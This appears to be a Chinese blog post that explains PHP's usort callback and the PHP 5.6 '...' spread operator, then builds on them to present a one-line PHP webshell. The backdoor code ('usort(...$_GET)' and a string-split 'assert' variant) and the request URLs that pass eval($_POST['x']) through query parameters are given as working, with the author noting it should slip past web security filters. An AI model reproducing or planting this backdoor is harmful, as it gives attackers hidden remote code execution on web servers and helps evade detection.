PHP函数usort是咋回事?还能当后门?
开始
详情看这:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
原谅我见识短,没用过usort函数
上面连接的文章中,发现有这个函数
于是刚刚了解了下usort函数
usort函数干嘛的?
官方介绍:http://php.net/manual/zh/function.usort.php
通俗点说就是一个稍微复杂点的数组,如果用php自带的函数不是很方便
所以用户可以自己定义一个函数,然后使用usort函数来进行回调
<?php
function my_sort($a,$b){
if ($a==$b){
return 0;
}else{
return ($a<$b)?-1:1;
}
}
$list = array(4,2,8,6);
usort($list,'my_sort');
第一个参数必须是数组
第二个参数是函数名称
usort函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参
然后php会判断my_sort函数的返回值
如果为0,则位置不变
如果为-1.则$a位置和$b不变
如果为1,则$a位置和$b互换
有趣的来了
开始里面的文章中,讲到了一个php5.6的新特性
…运算符,对就是三个点
官方介绍:http://php.net/manual/zh/migration56.new-features.php
该运算符可以将数组或者可遍历的对象展开变为参数
不过必须是索引数组哦~~~
举个栗子
<?php
$list = [1,2,3];
var_dump($list);
echo "========\n";//
var_dump(...$list);
返回结果如下
array(3) {
[0]=>
int(1)
[1]=>
int(2)
[2]=>
int(3)
}
========
int(1)
int(2)
int(3)
编写一句话
先放出最终的代码
<?php usort(...$_GET);?>
那么$_GET变量中的值,应该是
['$a=0','eval($_POST["x"])'],'assert'];
$_GET[0]是usort的第一个参数
$_GET[1]是usort的回调函数名
也就相当于
<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>
最终利用是这样的
http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
我自己本地环境测试成功了~~~
应该能过什么安全狗啊啥的
更新(17-01-19)
上面的一句话,只能在php环境>=5.6才能用
于是更新下,环境>=<5.6都可以的一句话
<?php usort($_GET,'asse'.'rt');?>
使用方法
http://www.url.com/test.php?1=1+1&2=eval($_POST[x])
PHP函数usort是咋回事?还能当后门?的更多相关文章
- php中的常用数组函数(八) 排序函数汇总(sort、rsort、usort、asort、uasort、arsort、ksort、uksort、krsort、natsort、natcasesort、array_multisort)
测试环境:php5.3.29 sort_flags 可以用以下值改变排序的行为: 排序类型标记: SORT_REGULAR - 正常比较单元(不改变类型) SORT_NUMERIC - 单元被作为数字 ...
- 深入理解javascript---命名函数表达式
简单的说,命名函数表达式只有一个用户,那就是在Debug或者Profiler分析的时候来描述函数的名称,也可以使用函数名实现递归,但很快你就会发现其实是不切实际的.当然,如果你不关注调试,那就没什么可 ...
- array_sum函数 number array_sum
数组的概念 数组就是一个用来存储一系列变量值的命名区域,每个数组元素有一个相关的索引,也成为关键字,它可以用来访问元素. PHP允许间隔性地使用数字或字符串作为数组的索引. 2.数字索引数组 2.1 ...
- 深入理解javascript:揭秘命名函数表达式
这是一篇转自汤姆大叔的文章:http://www.cnblogs.com/TomXu/archive/2011/12/15/2288411.html 前言 网上还没用发现有人对命名函数表达式进去重复深 ...
- 闭包函数&回调函数
闭包函数&回调函数 谈到回调函数,不得不提匿名函数;匿名函数,也叫闭包函数,也就是没有名字的函数,它可以单独存在,也可以将其赋值给某一个变量.so,先来看一下闭包函数. 闭包函数 php文档: ...
- (python数据分析)第03章 Python的数据结构、函数和文件
本章讨论Python的内置功能,这些功能本书会用到很多.虽然扩展库,比如pandas和Numpy,使处理大数据集很方便,但它们是和Python的内置数据处理工具一同使用的. 我们会从Python最基础 ...
- js变量和函数声明的提升(转)
原文:http://zha-zi.iteye.com/blog/2037026 下面的程序是什么结果? var foo = 1; function bar() { if (!foo) { var fo ...
- 成员函数指针与高性能C++委托
1 引子 标准C++中没有真正的面向对象的函数指针.这一点对C++来说是不幸的,因为面向对象的指针(也叫做“闭包(closure)”或“委托(delegate)”)在一些语言中已经证明了它宝贵的价值. ...
- 转悠望南山 Python闲谈(二)聊聊最小二乘法以及leastsq函数
1 最小二乘法概述 自从开始做毕设以来,发现自己无时无刻不在接触最小二乘法.从求解线性透视图中的消失点,m元n次函数的拟合,包括后来学到的神经网络,其思想归根结底全都是最小二乘法. 1-1 “多线 ...
随机推荐
- mysql-front导入数据失败:“在多字节的目标代码页中,没有此 Unicode 字符可以映射到的字符”
mysql-front导入sql文件失败,弹出框显示如下: 解决方法:在选择文件时,选择合适的字符集即可 参考:http://www.th7.cn/db/mysql/201604/185149.sht ...
- antdVG6随记
g6是一个很棒的可视化工具 目前支持开发者搭建属于自己的图,图分析.图应用.图编辑器 图编辑器可以支持多种图例的创建 G6 是一个简单.易用.完备的图可视化引擎,它在高定制能力的基础上,提供了一系列设 ...
- three.js轨道控制器OrbitControls.js
https://blog.csdn.net/qq_37338983/article/details/78575333 文章地址
- hdu 2063 过山车 二分匹配(匈牙利算法)
简单题hdu2063 题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2063 过山车 Time Limit: 1000/1000 MS (Java/Ot ...
- java中常见异常汇总(根据自己遇到的异常不定时更新)
1.java.lang.ArrayIndexOutOfBoundsException:N(数组索引越界异常.如果访问数组元素时指定的索引值小于0,或者大于等于数组的长度,编译程序不会出现任何错误,但运 ...
- Robust Online Visual Tracking with a Single Convolutional Neural Network
Abstract:这篇论文有三个贡献,第一提出了新颖的简化的结构损失函数,能保持尽量多的训练样本,通过适应模型输出的不确定性来减少跟踪误差累积风险. 第二是增强了普通的SGD,采用了暂时的选择策略来进 ...
- 浅谈BeanUtils的拷贝,深度克隆
1.BeanUtil本地简单测试在项目中由于需要对某些对象进行深度拷贝然后进行持久化操作,想到了apache和spring都提供了BeanUtils的深度拷贝工具包,自己写了几个Demo做测试,定义了 ...
- CSU 1412 Line and Circles
原题链接:http://acm.csu.edu.cn/OnlineJudge/problem.php?id=1412 题目要求判断是否有一条直线可以穿过所有的圆. 做法:把所有圆心做一次凸包,然后判断 ...
- elk搭建实战
1 安装elasticsearch 1.1安装elasticsearch 相关中文文档:https://es.xiaoleilu.com 下载:从https://www.elastic.co/down ...
- Web开发入门知识小总结
原来是写给 http://www.zhihu.com/question/22689579 的答案,也算是学了一学期web课程后的一点小总结,搬运到博客里存一下吧~ ================== ...